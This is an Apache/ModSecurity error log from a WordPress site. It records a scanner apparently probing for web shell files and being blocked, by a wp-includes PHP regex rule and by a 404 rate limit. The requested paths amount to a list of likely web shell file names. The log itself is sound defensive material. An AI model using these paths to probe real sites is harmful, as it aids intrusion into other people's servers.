[Sun Mar 01 02:56:56.390598 2026] [:error] [pid 31190:tid 31221] [client 20.89.52.173:24712] [client 20.89.52.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aaM6eBfvwGOholYpM1G25QAAAM8"]
[Sun Mar 01 02:56:56.894061 2026] [:error] [pid 30795:tid 30832] [client 20.89.52.173:19316] [client 20.89.52.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aaM6eGuI44IL94Zgti_SPgAAABg"]
[Sun Mar 01 02:56:57.351780 2026] [:error] [pid 30798:tid 30909] [client 20.89.52.173:24683] [client 20.89.52.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aaM6ecBkD73gO8wTonbDSgAAAIo"]
[Sun Mar 01 02:57:47.771785 2026] [:error] [pid 53600:tid 53624] [client 20.151.224.126:25566] [client 20.151.224.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/xx.php"] [unique_id "aaM6qw2UMRAYWtDB23QBCgAAARU"]
[Sun Mar 01 02:58:02.779041 2026] [:error] [pid 30798:tid 30914] [client 20.151.224.126:38610] [client 20.151.224.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/ws62.php"] [unique_id "aaM6usBkD73gO8wTonbEIQAAAI8"]
[Sun Mar 01 02:58:26.363090 2026] [:error] [pid 30798:tid 30922] [client 20.151.224.126:33667] [client 20.151.224.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/feeds.php"] [unique_id "aaM60sBkD73gO8wTonbEkgAAAJY"]
[Sun Mar 01 02:58:48.330432 2026] [:error] [pid 30798:tid 30901] [client 20.151.224.126:30738] [client 20.151.224.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/signup_pad_classic.php"] [unique_id "aaM66MBkD73gO8wTonbFCwAAAII"]
[Sun Mar 01 02:58:56.855629 2026] [:error] [pid 11920:tid 11936] [client 20.151.224.126:36873] [client 20.151.224.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-https.php"] [unique_id "aaM68CzLNJUKxvBorrAmHwAAAYw"]
[Sun Mar 01 02:59:04.238938 2026] [:error] [pid 31190:tid 31222] [client 20.151.224.126:12204] [client 20.151.224.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/rawwp.php"] [unique_id "aaM6-BfvwGOholYpM1G4-gAAANA"]
[Sun Mar 01 02:59:11.729228 2026] [:error] [pid 30798:tid 30909] [client 20.151.224.126:23193] [client 20.151.224.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-mail.php"] [unique_id "aaM6_8BkD73gO8wTonbFogAAAIo"]
[Sun Mar 01 03:01:18.084618 2026] [autoindex:error] [pid 11920:tid 11935] [client 20.151.224.126:20982] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 03:01:47.735683 2026] [:error] [pid 31190:tid 31219] [client 20.151.224.126:19535] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aaM7mxfvwGOholYpM1G7MgAAAM0"]
[Sun Mar 01 03:01:49.341570 2026] [:error] [pid 11920:tid 11936] [client 20.151.224.126:43900] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aaM7nSzLNJUKxvBorrApNgAAAYw"]
[Sun Mar 01 03:01:58.100912 2026] [:error] [pid 30798:tid 30915] [client 20.151.224.126:20975] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aaM7psBkD73gO8wTonbJjgAAAJA"]
[Sun Mar 01 03:02:06.432881 2026] [:error] [pid 53600:tid 53615] [client 20.151.224.126:21940] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aaM7rg2UMRAYWtDB23QCUQAAAQw"]
[Sun Mar 01 03:02:08.791053 2026] [:error] [pid 30797:tid 30890] [client 20.151.224.126:43854] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aaM7sPQmcmSQL-3rvLAW6AAAAFM"]
[Sun Mar 01 03:02:13.563135 2026] [:error] [pid 7644:tid 7667] [client 20.151.224.126:20991] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aaM7tfqeDUGmVAHX7VC3agAAAVU"]
[Sun Mar 01 03:02:18.041398 2026] [:error] [pid 11920:tid 11940] [client 20.151.224.126:9310] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aaM7uizLNJUKxvBorrApvAAAAZA"]
[Sun Mar 01 03:02:23.782196 2026] [:error] [pid 7644:tid 7670] [client 20.151.224.126:14618] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aaM7v_qeDUGmVAHX7VC3dAAAAVg"]
[Sun Mar 01 03:02:29.871569 2026] [:error] [pid 11920:tid 11942] [client 20.151.224.126:14635] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aaM7xSzLNJUKxvBorrAqEAAAAZI"]
[Sun Mar 01 03:02:34.862843 2026] [:error] [pid 11920:tid 11938] [client 20.151.224.126:10135] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaM7yizLNJUKxvBorrAqMgAAAY4"]
[Sun Mar 01 03:02:36.939031 2026] [:error] [pid 11920:tid 11948] [client 20.151.224.126:20969] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaM7zCzLNJUKxvBorrAqPQAAAZg"]
[Sun Mar 01 03:02:41.604155 2026] [:error] [pid 53600:tid 53608] [client 20.151.224.126:20978] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaM70Q2UMRAYWtDB23QCiQAAAQU"]
[Sun Mar 01 03:03:50.099043 2026] [:error] [pid 11920:tid 11945] [client 20.151.224.126:14626] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aaM8FizLNJUKxvBorrAsSwAAAZU"]
[Sun Mar 01 03:03:55.837798 2026] [:error] [pid 31190:tid 31211] [client 20.151.224.126:10117] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aaM8GxfvwGOholYpM1G9OQAAAMU"]
[Sun Mar 01 03:04:10.527302 2026] [:error] [pid 7644:tid 7667] [client 20.151.224.126:36166] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aaM8KvqeDUGmVAHX7VC4AAAAAVU"]
[Sun Mar 01 03:04:12.548201 2026] [:error] [pid 30798:tid 30910] [client 20.151.224.126:1547] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aaM8LMBkD73gO8wTonbMdAAAAIs"]
[Sun Mar 01 03:04:13.728112 2026] [:error] [pid 30798:tid 30921] [client 20.151.224.126:38247] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aaM8LcBkD73gO8wTonbMfAAAAJU"]
[Sun Mar 01 03:04:16.295664 2026] [:error] [pid 11920:tid 11932] [client 20.151.224.126:17637] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aaM8MCzLNJUKxvBorrAsoQAAAYg"]
[Sun Mar 01 03:04:19.925693 2026] [:error] [pid 11920:tid 11931] [client 20.151.224.126:38252] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aaM8MyzLNJUKxvBorrAstAAAAYc"]
[Sun Mar 01 03:04:22.974739 2026] [:error] [pid 7644:tid 7657] [client 20.151.224.126:9218] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aaM8NvqeDUGmVAHX7VC4AwAAAUs"]
[Sun Mar 01 03:04:24.876861 2026] [:error] [pid 53600:tid 53619] [client 20.151.224.126:43628] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aaM8OA2UMRAYWtDB23QDMgAAARA"]
[Sun Mar 01 03:04:28.349734 2026] [:error] [pid 30798:tid 30906] [client 20.151.224.126:43588] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aaM8PMBkD73gO8wTonbMvwAAAIc"]
[Sun Mar 01 03:04:31.376584 2026] [:error] [pid 11920:tid 11924] [client 20.151.224.126:28623] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aaM8PyzLNJUKxvBorrAs7QAAAYA"]
[Sun Mar 01 03:04:33.697824 2026] [:error] [pid 30798:tid 30900] [client 20.151.224.126:22174] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aaM8QcBkD73gO8wTonbM1gAAAIE"]
[Sun Mar 01 03:04:40.032836 2026] [:error] [pid 30798:tid 30922] [client 20.151.224.126:37976] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aaM8SMBkD73gO8wTonbM9wAAAJY"]
[Sun Mar 01 03:04:42.332898 2026] [:error] [pid 30798:tid 30906] [client 20.151.224.126:16000] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aaM8SsBkD73gO8wTonbNFAAAAIc"]
[Sun Mar 01 03:05:36.527985 2026] [:error] [pid 30798:tid 30906] [client 20.151.224.126:24849] [client 20.151.224.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaM8gMBkD73gO8wTonbOhQAAAIc"]
[Sun Mar 01 03:06:25.035180 2026] [:error] [pid 30795:tid 30822] [client 20.151.224.126:32847] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aaM8sWuI44IL94Zgti_UbAAAAA4"]
[Sun Mar 01 03:06:30.207013 2026] [:error] [pid 31190:tid 31213] [client 20.151.224.126:38638] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aaM8thfvwGOholYpM1G-9AAAAMc"]
[Sun Mar 01 03:06:33.912117 2026] [:error] [pid 30798:tid 30917] [client 20.151.224.126:1249] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aaM8ucBkD73gO8wTonbPqAAAAJI"]
[Sun Mar 01 03:06:37.439059 2026] [:error] [pid 30795:tid 30823] [client 20.151.224.126:23074] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aaM8vWuI44IL94Zgti_UcAAAAA8"]
[Sun Mar 01 03:06:43.661894 2026] [:error] [pid 11920:tid 11934] [client 20.151.224.126:1367] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aaM8wyzLNJUKxvBorrAvtgAAAYo"]
[Sun Mar 01 03:06:51.273915 2026] [:error] [pid 30797:tid 30879] [client 20.151.224.126:32430] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aaM8y_QmcmSQL-3rvLAXowAAAEg"]
[Sun Mar 01 03:06:55.467780 2026] [:error] [pid 30795:tid 30810] [client 20.151.224.126:32424] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aaM8z2uI44IL94Zgti_UggAAAAI"]
[Sun Mar 01 03:07:04.266438 2026] [:error] [pid 30798:tid 30912] [client 20.151.224.126:1289] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aaM82MBkD73gO8wTonbQSQAAAI0"]
[Sun Mar 01 03:07:07.997492 2026] [:error] [pid 31190:tid 31217] [client 20.151.224.126:23090] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aaM82xfvwGOholYpM1G_cQAAAMs"]
[Sun Mar 01 03:07:14.253118 2026] [:error] [pid 31190:tid 31226] [client 20.151.224.126:32441] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aaM84hfvwGOholYpM1G_dwAAANQ"]
[Sun Mar 01 03:07:18.733944 2026] [:error] [pid 31190:tid 31219] [client 20.151.224.126:1318] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aaM85hfvwGOholYpM1G_iwAAAM0"]
[Sun Mar 01 03:08:54.513861 2026] [:error] [pid 30798:tid 30908] [client 20.151.224.126:1296] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/al.php"] [unique_id "aaM9RsBkD73gO8wTonbSygAAAIk"]
[Sun Mar 01 03:09:02.621911 2026] [:error] [pid 30798:tid 30901] [client 20.151.224.126:22160] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/al.php"] [unique_id "aaM9TsBkD73gO8wTonbTDQAAAII"]
[Sun Mar 01 03:09:13.381746 2026] [:error] [pid 11920:tid 11933] [client 20.151.224.126:20239] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aaM9WSzLNJUKxvBorrAzJQAAAYk"]
[Sun Mar 01 03:09:17.242620 2026] [:error] [pid 31190:tid 31230] [client 20.151.224.126:22176] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aaM9XRfvwGOholYpM1HA9gAAANg"]
[Sun Mar 01 03:09:21.599680 2026] [:error] [pid 31190:tid 31207] [client 20.151.224.126:22190] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aaM9YRfvwGOholYpM1HBBAAAAME"]
[Sun Mar 01 03:09:23.348459 2026] [:error] [pid 53600:tid 53621] [client 20.151.224.126:24578] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aaM9Yw2UMRAYWtDB23QFxQAAARI"]
[Sun Mar 01 03:09:30.884092 2026] [:error] [pid 11920:tid 11945] [client 20.151.224.126:28609] [client 20.151.224.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aaM9aizLNJUKxvBorrAzWgAAAZU"]
